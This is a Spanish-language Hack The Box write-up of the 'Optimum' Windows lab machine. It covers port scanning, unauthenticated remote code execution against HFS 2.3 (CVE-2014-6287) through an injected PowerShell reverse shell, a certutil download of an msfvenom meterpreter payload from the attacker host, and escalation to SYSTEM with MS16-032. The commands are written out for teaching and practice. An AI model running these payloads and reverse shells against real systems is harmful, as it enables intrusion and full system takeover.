Optimmum

Hack The Box — Writeup

Optimmum

IP:10.129.26.196
OS:Windows
Dificultad:Easy
Fecha:11 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.26.196 -oG allPorts

# Output
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Se identificó un único puerto abierto, el puerto 80 (HTTP), siendo el servicio web el único vector de ataque disponible en esta máquina.

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Hallazgo: el escaneo de versiones identificó HFS (HTTP File Server) 2.3 de Rejetto. Se investigó la versión y se confirmó que es vulnerable al CVE-2014-6287, una vulnerabilidad de Remote Code Execution sin autenticación.

El CVE-2014-6287 afecta cómo HFS procesa las peticiones HTTP — específicamente el manejo de la secuencia de caracteres nulos (%00) en los parámetros de búsqueda. Un atacante puede inyectar comandos directamente en la URL que HFS ejecuta en el sistema operativo sin ningún tipo de validación.

Se accedió a la página principal para observar el estado del servidor antes de lanzar el ataque:

Página principal de HFS 2.3

Se buscó el exploit disponible en searchsploit:

searchsploit httpfileserver

Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
| windows/webapps/49125.py

searchsploit -m windows/remote/49584.py
Exploit: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
URL: https://www.exploit-db.com/exploits/49584
Codes: CVE-2014-6287

Explotación

Preparación del exploit

Se descargó el exploit 49584.py y se revisaron las variables configurables en las líneas 19-22:

lhost = "10.10.10.1"   # IP del atacante (hardcodeada)
lport = 1111            # Puerto del listener
rhost = "10.10.10.8"   # IP del objetivo (hardcodeada)
rport = 80

El exploit utiliza PowerShell para crear una reverse shell TCP — codifica el comando en Base64 con UTF-16LE y lo envía embebido en una petición HTTP GET con el parámetro de búsqueda malicioso: /?search=%00{.exec|powershell.exe -EncodedCommand ...}

Se modificaron las variables con los datos correctos y se ejecutó el exploit:

Intento fallido — IP incorrecta

lhost = "10.10.10.163"   # Error: IP incorrecta
lport = 4444
rhost = "10.129.26.196"
rport = 80

python3 49584.py

Listening on 0.0.0.0 4444
whoami
(sin respuesta)

Por qué no funcionó: se cometió un error tipográfico en lhost — se puso 10.10.10.163 en lugar de 10.10.15.163. El payload de PowerShell estableció la conexión hacia una IP incorrecta, por lo que el listener nunca recibió la shell.

Explotación exitosa

Se corrigió la IP y se relanzó el exploit:

lhost = "10.10.15.163"
lport = 4444
rhost = "10.129.26.196"
rport = 80

python3 49584.py

Encoded the command in base64 format...
Encoded the payload and sent a HTTP GET request to the target...
Listening on 0.0.0.0 4444
Connection received on 10.129.26.196 49162

PS C:\Users\kostas\Desktop> whoami
optimum\kostas

Resultado: se obtuvo una shell PowerShell interactiva como el usuario optimum\kostas.

Obtención de la flag de usuario

PS C:\Users\kostas\Desktop> type user.txt
[flag de usuario obtenida]

Escalada de Privilegios

Enumeración de privilegios

PS C:\Users\kostas\Desktop> whoami /priv

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

PS C:\Users\kostas\Desktop> systeminfo

OS Name:    Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
System Type: x64-based PC
Hotfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936 ... [31]: KB3014442

Hallazgo: a diferencia de todas las máquinas Windows anteriores, el usuario kostas no tiene SeImpersonatePrivilege. Esto descarta JuicyPotato, Churrasco y cualquier herramienta basada en token impersonation. El vector de escalada deberá ser un kernel exploit o un bypass de UAC.

Identificación del exploit vía local exploit suggester

Para obtener una sesión de Meterpreter y ejecutar el suggester, se generó un payload x64 y se descargó desde la shell de PowerShell:

# En el atacante:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.163
LPORT=5555 -f exe -o shell.exe

# En la victima:
PS C:\Users\kostas\Desktop> certutil -urlcache -split -f
http://10.10.15.163:8080/shell.exe shell.exe
PS C:\Users\kostas\Desktop> .\shell.exe

Con la sesión de Meterpreter activa se ejecutó el módulo de reconocimiento de exploits locales:

meterpreter > run post/multi/recon/local_exploit_suggester

[+] exploit/windows/local/bypassuac_eventvwr:    vulnerable
[+] exploit/windows/local/bypassuac_sdclt:       vulnerable
[+] exploit/windows/local/cve_2019_1458_wizardopium: vulnerable
[+] exploit/windows/local/ms16_032_secondary_logon_handle_privesc: vulnerable

Se seleccionó MS16-032 (ms16_032_secondary_logon_handle_privesc) como vector de escalada, al ser el más conocido y confiable para Windows Server 2012 R2 x64.

Escalada con MS16-032

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST 10.10.15.163
set LPORT 6666
run

[*] Meterpreter session 2 opened

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Obtención de la flag root

C:\Users\Administrator\Desktop> type root.txt
[flag de root obtenida]